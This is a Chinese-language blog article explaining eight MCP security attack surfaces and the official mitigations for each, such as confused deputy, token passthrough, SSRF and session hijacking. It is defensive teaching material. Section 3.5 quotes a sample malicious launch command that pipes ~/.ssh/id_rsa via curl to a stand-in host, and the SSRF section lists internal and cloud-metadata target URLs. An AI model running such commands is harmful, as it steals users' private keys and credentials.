GPTMap

MCP 安全指南:官方 8 类攻击面与缓解清单

MCP 官方安全最佳实践拆解:Confused Deputy、Token Passthrough、SSRF、会话劫持、本地 Server 攻击、OAuth URL 校验、stdio 代理安全、权限最小化——每类攻击的原理与官方缓解要求。

TL;DR
MCP 官方安全最佳实践把实现层攻击面归纳为 8 类:Confused Deputy(代理静态 client_id 被利用绕过用户同意)、Token Passthrough(透传非本服务签发的 token,授权规范明令禁止)、SSRF(OAuth 元数据 URL 被指向内网或云元数据端点)、会话劫持、本地 Server 攻击、OAuth 授权 URL 校验、stdio 代理安全、权限最小化。每类均附官方 MUST / SHOULD 缓解要求,可直接当安全自查清单用。
MCP 安全面是 Model Context Protocol 官方安全最佳实践文档定义的实现层风险清单:围绕 OAuth 授权流、会话管理、本地进程与 token 处理的 8 类攻击(Confused Deputy、Token Passthrough、SSRF、会话劫持、本地 Server 攻击、授权 URL 校验、stdio 代理、权限范围),每类都附带官方 MUST / SHOULD 级别的缓解要求,面向 MCP 授权流开发者、Server 运营者与安全评估者。

操作步骤

  1. 核对授权链路

    如果实现了代理服务器,确认有按客户端的同意流程与 client_id 注册表;检查是否存在 token 透传——任何非本 server 签发的 token 都必须拒绝。

  2. 审查出站 URL 与会话

    对所有 OAuth 相关 URL 强制 HTTPS 并屏蔽私有 IP 段;session ID 改为安全随机生成、与用户信息绑定、支持轮换与过期,且不用于认证。

  3. 收紧本地与传输面

    一键配置流程必须展示完整启动命令并取得显式同意;stdio 代理场景给 spawn 进程加沙箱与文件系统限制并记录日志。

  4. 最小化权限并做注入演练

    scope 从最小集起步、按需逐级提升;把工具返回值当不可信输入做 prompt injection 演练,破坏性操作加用户确认。

MCP 把工具、数据与提示接进模型上下文,也把一批 Web 世界没有的攻击面接了进来:授权要经过代理、会话横跨多个有状态服务器、server 是跑在用户机器上的进程。MCP 官方安全最佳实践文档(本文唯一规则来源,2026-09-01 核对)把这些实现层风险整理成 8 类攻击,每类给出 MUST / SHOULD 级别的缓解要求。本文逐类拆解攻击原理与官方缓解,可以整体当作一份 MCP 安全自查清单使用。

1. 为什么 MCP 安全是独立课题

MCP 的信任链比普通 API 调用长:客户端连的可能是代理服务器,代理连的是第三方 API;session 可能经过共享队列;"工具"是模型会主动调用的外部代码。这带来两条本站反复强调的基线(与官方文档精神一致):

  1. 工具返回值是不可信输入——返回内容里藏指令就是 prompt injection 的入口,模型看到的一切外部内容都要按不可信处理。
  2. 破坏性操作必须有人确认——写、删、支付、外发类工具要有用户确认环节;敏感工具用白名单收敛。

官方文档的目标读者是三类人:实现 MCP 授权流的开发者、MCP Server 运营者、评估 MCP 系统的安全人员——并且要求与 MCP Authorization 规范、OAuth 2.0 安全最佳实践同读。下面进入 8 类攻击面。

2. 八类攻击面总览

#攻击面一句话原理官方核心缓解
1Confused Deputy代理的静态 client_id 被恶意客户端利用,绕过用户同意拿授权码按客户端同意流程 + client_id 注册表
2Token Passthrough透传非本服务签发的 token 到下游 APIMUST NOT 接受非本 server 签发的 token
3SSRFOAuth 元数据发现阶段的 URL 被指向内网 / 云元数据端点强制 HTTPS + 屏蔽私有 IP 段
4会话劫持猜到或拿到 session ID 冒充客户端(注入 / 伪装两条路径)校验入站请求 + 安全随机 session ID + 绑定用户
5本地 Server 攻击恶意启动命令、带毒 server 本体、DNS rebinding 打 localhost执行前完整展示命令并取得显式同意
6OAuth 授权 URL 校验javascript: / data: 等 scheme 或 shell 打开 URL 被利用仅允许 http(s) + 禁 shell 打开 + CSP
7stdio 代理安全stdio 传输在代理场景下 spawn 进程被利用沙箱化 + 限文件系统 + 日志审计
8权限最小化一开始就授予全量 scope渐进式 least-privilege,按需逐级提升

3. 逐类拆解:原理与官方缓解

3.1 Confused Deputy(迷惑代理人)

攻击原理:MCP 代理服务器为所有客户端充当对第三方 API 的单一 OAuth client(静态 client ID)。当第三方授权服务器不支持动态客户端注册、代理只能用静态 client_id,再叠加 consent cookie 机制时,恶意客户端可以组合利用这三者,在没有用户同意的情况下拿到授权码。

官方缓解(MUST 级):代理服务器必须实现按客户端的同意流程——维护"每个用户已批准的 client_id 注册表",在发起第三方授权流之前先查注册表;同意页面必须清晰点名发起请求的 MCP client、展示请求的具体第三方 API scope,同意决定要安全存储(服务端数据库或 server 专用 cookie)。

3.2 Token Passthrough(token 透传)

攻击原理:MCP server 接受客户端递来的 token、不校验是否为本服务签发、直接转发给下游 API。官方把它定性为授权规范明令禁止的反模式,风险清单包括:绕过下游基于 token 受众的限流 / 校验 / 流量监控;server 无法区分客户端、下游日志身份失真,审计与事件调查变难;不校验声明就透传等于给窃 token 者开了数据外泄代理;下游对特定来源的信任假设被打破。

官方缓解一句话:MUST NOT accept any tokens that were not explicitly issued for the MCP server.

3.3 SSRF(服务端请求伪造)

攻击原理:OAuth 元数据发现阶段,客户端要从多个可被恶意 server 控制的来源抓 URL——WWW-Authenticate 头里的 resource_metadata URL、受保护资源元数据里的 authorization_servers、授权服务器元数据里的 token_endpoint / authorization_endpoint 等。官方列出的攻击模式:直连内网 IP(http://192.168.1.1/admin)、云元数据端点(http://169.254.169.254/,可窃取云凭证)、localhost 服务(http://localhost:6379/ 打 Redis)、DNS rebinding(校验与使用之间切换解析)、以及重定向到内网的正常外观 URL。

官方缓解:生产环境对所有 OAuth 相关 URL 强制 HTTPS(开发期仅回环地址可用 http://,对齐 OAuth 2.1 对协议 URL 的要求);按 RFC 9728 §7.7 屏蔽私有与保留 IP 段;并实现与自身网络环境匹配的其他防护。

3.4 会话劫持(Session Hijacking)

攻击原理:客户端持有 server 发的 session ID,未授权方拿到同一 ID 即可冒充原客户端。多台有状态 HTTP server 共享处理 MCP 请求时尤其危险:攻击者把恶意事件带着被劫持的 session ID 发给 Server B,事件进共享队列,Server A 用同一 session ID 轮询取出后当作异步 / 恢复响应发给客户端——注入就此完成。若 server 支持事件重投递 / 可恢复流,客户端甚至可能在工具列表被偷偷变更后不知情地继续用(notifications/tools/list_changed 类事件)。

官方缓解:实现授权的 server MUST 校验所有入站请求、MUST NOT 用会话做认证;session ID 用安全随机数生成(避免可预测 / 顺序 ID),可轮换或过期;SHOULD 把 session ID 与用户独有信息绑定——队列里的键用 <user_id>:<session_id> 格式,ID 被猜到也无法冒充:

# 会话数据入队时的键格式(官方示例模式)
<user_id>:<session_id>

# 例
u_8f14e2:3d1c9a7e-42b1-4f6e-9a2d-7c5e1b0d8f3a

3.5 本地 MCP Server 攻击(Local MCP Server Compromise)

攻击原理:本地 server 是下载并运行在用户机器上的进程,天然接近用户系统,还可能被同机其他进程触达。官方列出的攻击形态:在客户端配置里塞恶意"启动"命令、server 本体分发恶意载荷、以及用 DNS rebinding 访问留在 localhost 上无防护的 server。官方给出的恶意启动命令示例非常直白:

# 官方文档中的数据外泄示例(这是攻击样例,不是可用配置)
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location

官方缓解:支持一键本地配置的客户端 MUST 在执行命令前实现同意机制——完整展示将执行的命令(含参数,不截断)、明确标注这是在用户系统上执行代码的潜在危险操作、取得显式批准、允许取消;并 SHOULD 增加额外护栏,如高亮危险命令模式。

3.6 OAuth 授权 URL 校验

攻击原理:授权流程里的 URL 如果不校验,恶意 scheme 或 shell 调用都会成为执行入口。

官方缓解(MUST 级):授权 URL 只允许 http://https:// scheme(http 仅限开发期回环地址,生产授权服务器必须 https);拒绝 javascript:data:file:vbscript: 等危险 scheme;校验优先用白名单而非黑名单:

# 授权 URL scheme 白名单(官方 MUST 要求)
允许: http://   https://   (http 仅限 localhost / 127.0.0.1 / ::1 的开发场景)
拒绝: javascript:  data:  file:  vbscript:  及其他危险 scheme
```打开 URL **MUST NOT 经过 shell**(cmd.exe / sh / PowerShell),改用平台原生的非 shell 机制;再配合 CSP 阻止不可信来源的 JS 执行。

### 3.7 stdio 传输在代理场景下的安全

攻击原理:代理服务替用户 spawn stdio 子进程时,spawn 的就是可执行任意代码的本地进程。

官方缓解(SHOULD 级):对 spawn 的进程做沙箱或容器化隔离;限制其文件系统访问;记录全部 stdio 使用日志用于安全监控;对高危操作要求额外授权。配套的纵深防御还包括:实现 OAuth URL 校验、用 CSP 阻不可信 JS、对来自 MCP server 的一切输入先校验清洗再处理。

### 3.8 权限最小化(Scope Minimization)

攻击原理:一开始就授予全量 scope,任何一处被攻破就是全量失守。

官方缓解:实现渐进式 least-privilege——初始只给最小 scope 集(例如只含低风险发现 / 读操作的 `mcp:tools-basic`);特权操作首次被尝试时,通过 `WWW-Authenticate` 的 scope 挑战逐级提升;server 要容忍降级 token(授权服务器可只签发所请求 scope 的子集)。server 侧:给出精确 scope 挑战、记录提升事件(请求了什么、批了什么子集)并带关联 ID;client 侧:从基线 scope 起步、缓存被拒绝的 scope 以避免反复提升循环。

## 4. 落地:把 8 条缓解塞进你的实现

按官方各缓解要点收敛成一张自查表,逐项打勾:

| 检查项 | 级别 | 对应攻击面 |
|---|---|---|
| 有按客户端的同意流程与 client_id 注册表 | MUST | Confused Deputy |
| 不接受非本 server 签发的 token | MUST | Token Passthrough |
| OAuth URL 全部强制 HTTPS(生产) | SHOULD | SSRF |
| 屏蔽私有 / 保留 IP 段 | SHOULD | SSRF |
| 入站请求全量校验;会话不做认证 | MUST | 会话劫持 |
| session ID 安全随机 + 绑定用户 + 可轮换 | MUST / SHOULD | 会话劫持 |
| 一键配置前展示完整命令并取得显式同意 | MUST | 本地 Server 攻击 |
| 授权 URL 仅 http(s)、拒绝危险 scheme、非 shell 打开 | MUST | 授权 URL 校验 |
| spawn 进程沙箱化 + 文件系统限制 + 日志 | SHOULD | stdio 代理 |
| scope 渐进式最小授权 + 提升事件可审计 | SHOULD | 权限最小化 |

工具注册层面还有一条本站在 MCP server 教程里反复强调的工程习惯:每个工具的 `inputSchema` 收窄到真正需要的字段,并写清 `description`——schema 越窄,注入可撬动的面越小(SDK 写法见 [《自己搭一个 MCP Server:从零到发布的完整指南》](/zh/posts/mcp-server-building-guide))。

## 5. 常见错误与排查

- **"我的 server 不需要 OAuth"**:只要你的 client 或代理连第三方 API,授权链路就存在——Confused Deputy 与 Token Passthrough 攻击的正是这条链。
- **拿 session ID 当认证**:官方明令 MUST NOT。会话是状态关联,不是身份证明;认证靠每请求校验。
- **同意对话框截断命令**:一键配置展示启动命令时截断参数,恰好给恶意命令留了藏身处——官方要求完整展示、不截断。
- **黑名单式 scheme 校验**:只拉黑已知的 `javascript:` / `data:` 追不上新变种,官方建议白名单(只放行 http/https)。
- **全量 scope 一步到位**:部署时图省事申请全部权限,出事时就是全量爆破半径——渐进式提升既是安全实践也是审计线索。

## 6. 下一步

- MCP 协议本体(三层架构、三件套、传输方式):[《Model Context Protocol 完全指南:MCP 工作机制与实战》](/zh/posts/mcp-protocol-guide)。
- 从零实现一个带 schema 的 MCP Server:[《自己搭一个 MCP Server:从零到发布的完整指南》](/zh/posts/mcp-server-building-guide)。
- 把 MCP server 部署到边缘:[《MCP Server 部署到 Cloudflare Workers:从边缘跑 MCP》](/zh/posts/mcp-cloudflare-workers)。

关键要点

  • 官方文档定位:面向实现 MCP 授权流的开发者、MCP Server 运营者与安全评估者,需与 MCP Authorization 规范及 OAuth 2.0 安全最佳实践同读
  • Confused Deputy:代理服务器用静态 client_id + 动态注册 + consent cookie 被恶意客户端利用——官方要求 MUST 实现按客户端的同意流程与 client_id 注册表
  • Token Passthrough 是官方明令禁止的反模式:MUST NOT 接受任何非本 MCP Server 签发的 token——否则限流、审计、责任追踪全部失效
  • SSRF 高发点在 OAuth 元数据发现:恶意 server 可把资源元数据 / 授权端点 URL 指向 169.254.169.254 等云元数据端点——官方要求强制 HTTPS 并按 RFC 9728 §7.7 屏蔽私有 IP 段
  • 会话劫持:MUST 校验所有入站请求、MUST NOT 用会话做认证、session ID 用安全随机数并与用户信息绑定(<user_id>:<session_id>)
  • 本地 Server 与授权 URL:一键配置前 MUST 展示完整启动命令并取得明确同意;授权 URL 只允许 http(s) scheme、禁止用 shell 打开;stdio 代理 SHOULD 沙箱化 spawn 进程;scope 走渐进式最小授权(如 mcp:tools-basic 起步)

常见问题

按官方文档的篇幅与详略,OAuth 授权链路相关的问题最集中:Confused Deputy(代理服务器静态 client_id 被利用、绕过用户同意拿授权码)、Token Passthrough(透传非本服务签发的 token)和 SSRF(元数据发现阶段的 URL 被指向内网)。三者都发生在'客户端—代理—第三方 API'的信任链上,是 MCP 区别于普通 Web 应用的特有攻击面。

官方参考

相关文章

订阅 GPTMap Weekly

每周一封邮件,精选 OpenAI 重要更新、深度解读与最佳实践。无广告,可随时退订。

GPTMap Editorial发布于 2026-09-01 15 分钟阅读
测试环境(EEAT)
最后测试时间:2026-09-01
使用模型:gpt-5.6